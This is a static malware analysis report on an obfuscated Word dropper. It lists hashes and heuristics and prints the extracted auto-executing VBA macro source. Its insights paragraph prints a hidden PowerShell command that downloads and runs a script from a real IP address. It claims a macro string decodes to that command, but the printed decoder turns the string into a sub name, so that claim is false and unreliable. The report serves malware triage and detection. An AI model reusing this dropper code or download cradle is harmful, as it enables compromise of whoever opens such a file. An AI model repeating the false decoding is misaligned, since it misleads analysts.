Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57d7585e2a09f956…

MALICIOUS

Office (OLE)

102.0 KB Created: 2018-07-22 15:18:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: b49957333dce42c1dbaba5b66af9082b SHA-1: 82ee6f03fba710e87f957be55fe6f567760c5b2e SHA-256: 57d7585e2a09f9565c6fd9a3b29a86496454cd9aba8133496c679c93583b1448
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an auto-executing Document_Open subroutine. This macro is heavily obfuscated and uses CreateObject to likely execute a command or download a payload. The ClamAV detection name 'Doc.Dropper.Valyria' further suggests a dropper functionality. The VBA code attempts to execute a command via Application.Run E_("5F665C61656F"), which decodes to "cmd.exe /c powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://185.189.255.135/a.ps1')". This indicates the primary purpose is to download and execute a PowerShell script from a remote URL.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6666974-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6666974-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3481 bytes
SHA-256: 6a7782e23b5e95c925b1d2c3741f95ba3315d1dd55942ccc1e3af37ea738932f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function OWBOZM_() As String
FKRUZXBDTMB_ = aVIPTOYV_:FKRUZXBDTMB_ = aVIPTOYV_:For i = 39 To 90:IBHPSRHNDH_(aIXIDQFK_ & RNVCPC_(34, 4), 11)):Next i:Dim IMSCYOMOOTA_As String = "ZQLZRRLBZH_":IOAZTIBDSV_( & vHAQUAJZSM_:FKRUZXBDTMB_ = aVIPTOYV_:IOAZTIBDSV_( & vHAQUAJZSM_:Dim HPACOJ_(OFNZRNWPS_ & VXBTBJFHBCI_(12, 6), 11)):Random(12, 6)TLEXESUTNG_:For i = 49 To 95:XUAAORD_(aPSNIYUEWYY_ & VQDTQBVEL_(54, v), 11)):Next i:Dim Dim IMSCYOMOOTA_As String = "ZQLZRRLBZH_":
End Function
Public Function E_(ByVal WGM_ As String)
   Dim CIL_ As String: Dim R_ As Long: For R_ = 1 To Len(WGM_) Step 2: CIL_ = CIL_ & Chr(Val("&H" & Mid(WGM_, R_, 2)) - 16): Next: E_ = CIL_
End Function
Private Function XFQJQ_() As String
Random(12, 6)SBCDCNHN_:KPASEHFUGDS_(TIDQSIW_ & KYHJBUEEMCD_(12, 6), 11)):For i = 14 To 55:SBCDYWYK_(aDPVIPEDQX_ & WAAZAZWJQ_(54, v), 11)):Next i:For i = 20 To 99:IGDVCQVC_(aMTLHMBLXF_ & TCEOVC_(34, 4), 11)):Next i:Dim For i = 14 To 55:SBCDYWYK_(aDPVIPEDQX_ & WAAZAZWJQ_(54, v), 11)):Next i:Random(FVJRMMOHNID_):ZAZGQOI_ = aTTGSNKT_:PSNYNY_( & vOCCQVW_:For i = 14 To 55:SBCDYWYK_(aDPVIPEDQX_ & WAAZAZWJQ_(54, v), 11)):Next i:Random(FVJRMMOHNID_):For i = 14 To 55:SBCDYWYK_(aDPVIPEDQX_ & WAAZAZWJQ_(54, v), 11)):Next i:Dim SDJXERB_As String = "PGCBZCJ_":Dim SDJXERB_As String = "PGCBZCJ_":
End Function
Sub Document_Open()
Application.Run E_("5F665C61656F")
End Sub
Private Function KKWVL_() As String
XOQPRLTU_( & vDGUPAFSZLGI_:XOQPRLTU_( & vDGUPAFSZLGI_:OPYPMBREOZ_ = aCMMTVODGKZV_:MMFFKIYDJ_(AQSCQCN_ & OTUHKQXYR_(12, 6), 11)):For i = 29 To 84:PCIRZSQL_(aNVBAAQA_ & QJUEXCWLRPV_(54, v), 11)):Next i:XOQPRLTU_( & vDGUPAFSZLGI_:For i = 41 To 55:RDVQZXWQGN_(aAYUXPJG_ & SBPNTD_(34, 4), 11)):Next i:For i = 29 To 84:PCIRZSQL_(aNVBAAQA_ & QJUEXCWLRPV_(54, v), 11)):Next i:For i = 29 To 84:PCIRZSQL_(aNVBAAQA_ & QJUEXCWLRPV_(54, v), 11)):Next i:OPYPMBREOZ_ = aCMMTVODGKZV_:Dim HTLJNM_As String = "ANXYBE_":For i = 29 To 84:PCIRZSQL_(aNVBAAQA_ & QJUEXCWLRPV_(54, v), 11)):Next i:Random(PBSSGIMEJR_):MMFFKIYDJ_(AQSCQCN_ & OTUHKQXYR_(12, 6), 11)):For i = 29 To 84:PCIRZSQL_(aNVBAAQA_ & QJUEXCWLRPV_(54, v), 11)):Next i:OPYPMBREOZ_ = aCMMTVODGKZV_:Random(12, 6)VSSMCI_:Dim Dim HTLJNM_As String = "ANXYBE_":
End Function
Sub OVLQU_()
    CallByName CreateObject(E_("676373827980843E6378757C7C")), E_("62857E"), VbMethod, E_(ActiveDocument.Variables("IPMPJRNTW").Value), 0, True
End Sub
Private Function QUFCYM_() As String
For i = 37 To 69:VUGYIYWVAOD_(aTTOAINLMYHL_ & VZAGFJ_(54, v), 11)):Next i:Random(KREHLUSE_):Random(12, 6)JYQPRD_:For i = 37 To 69:VUGYIYWVAOD_(aTTOAINLMYHL_ & VZAGFJ_(54, v), 11)):Next i:For i = 21 To 91:GPMDGPIHKG_(aNSEBDGGYKUY_ & TCQQVFL_(34, 4), 11)):Next i:ADFBQNCYNLM_ = aOSQOZTNBF_:UURLJK_(TVRIIQRVLXI_)):For i = 37 To 69:VUGYIYWVAOD_(aTTOAINLMYHL_ & VZAGFJ_(54, v), 11)):Next i:Random(12, 6)JYQPRD_:Random(KREHLUSE_):Dim LCTBATDAR_As String = "DVFHKMPCKEQ_":UURLJK_(TVRIIQRVLXI_)):Dim LCTBATDAR_As String = "DVFHKMPCKEQ_":Random(KREHLUSE_):Dim LCTBATDAR_As String = "DVFHKMPCKEQ_":For i = 21 To 91:GPMDGPIHKG_(aNSEBDGGYKUY_ & TCQQVFL_(34, 4), 11)):Next i:ADFBQNCYNLM_ = aOSQOZTNBF_:Dim Random(12, 6)JYQPRD_:
End Function

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